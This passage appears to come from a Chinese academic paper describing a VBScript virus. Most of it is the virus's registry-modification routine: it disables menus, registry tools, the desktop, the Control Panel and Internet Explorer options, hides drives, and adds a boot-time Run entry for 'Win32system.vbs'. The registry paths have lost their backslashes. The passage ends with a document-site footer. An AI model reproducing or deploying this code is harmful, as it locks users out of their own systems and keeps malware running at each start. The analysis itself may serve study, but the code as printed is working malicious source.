regcreate 过程,执行禁止运行菜单,禁止关闭系统菜单,开机自动运行等操作,以及对 IE 修改的操作。关键代码如下:sub regcreate(regkey,regvalue)Set regedit = CreateObject(WScript.Shell)regedit.RegWrite regkey,regvalueend subsub regruns()regcreateHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun,1,REG_DWORD 禁止运行菜单regcreateHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoClose,1,REG_DWORD 禁止关闭系统菜单regcreateHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives,63000000,REG_DWORD 隐藏盘符regcreateHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools,1,REG_DWORD 禁止使用注册表编辑器regcreateHKLMSoftwareMicrosoftWindowsCurrentVersionRunScanRegistry,1,REG_DWORD 禁止使用注册表扫描regcreateHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoLogOff,1,REG_DWORD 禁止注销菜单regcreateHKLMSoftwareMicrosoftWindowsCurrentVersionRunWin32system,Win32system.vbs 开机自动运行regcreateHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop,1,REG_DWORD 禁止显示桌面所有图标regcreateHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppDisabled,1,REG_DWORD 禁止 dosregcreateHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSetTaskBar,1,REG_DWORD 禁止任务栏和开始regcreateHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewContextMenu,1,REG_DWORD 禁止右键菜单regcreateHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSetFolders,1,REG_DWORD 禁止控制面板regcreateHKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeCaption,kkhk 开机对话提示框标题regcreateHKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeText,ij 开机对话提示框内容下面是相关 IE 操作regcreateHKCUSoftwarePoliciesMicrosoftInternetExplorerRestrictionsNoBrowserContextMenu,1,REG_DWORD 禁止 IE 右键菜单regcreateHKCUSoftwarePoliciesMicrosoftInternetExplorerRestrictionsNoBrowserOptions,1,REG_DWORD 禁止 Internet 选项regcreateHKCUSoftwarePoliciesMicrosoftInternetExplorerRestrictionsNoBrowserSaveAs,1,REG_DWORD 禁用另存为菜单regcreateHKCUSoftwarePoliciesMicrosoftInternetExplorerRestrictionsNoFileOpen,1,REG_DWORD 禁用文件打开菜单regcreateHKCUSoftwarePoliciesMicrosoftInternetExplorerControlPanelCache Internet,1,REG_DWORD 禁止更改临时文件设置regcreateHKCUSoftwarePoliciesMicrosoftInternetExplorerControlPanelAutoConfig,1,REG_DWORD 禁止更改自动配置regcreateHKCUSoftwarePoliciesMicrosoftInternetExplorerControlPanelHomePage,1,REG_DWORD 禁止更改主页regcreateHKCUSoftwarePoliciesMicrosoftInternetExplorerControlPanelHistory,1,REG_DWORD 禁止更改历史记录设置regcreateHKCUSoftwarePoliciesMicrosoftInternetExplorerRestrictionsNoViewSource,1,REG_DWORD 禁止查看源文件regcreateHKCUSoftwarePoliciesMicrosoftInternetExplorerControlPanelSecurityTab,1,REG_DWORD 禁止安全项end sub5.4.65.4.6 感染标记模块感染标记模块该模块主要用到的对象:Filesystemobject 对象 创建系统文件操作对象该模块主要用到的方
展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 图纸专区 > 成人自考


copyright@ 2023-2025  zhuangpeitu.com 装配图网版权所有   联系电话:18123376007

备案号:ICP2024067431-1 川公网安备51140202000466号


本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知装配图网,我们立即给予删除!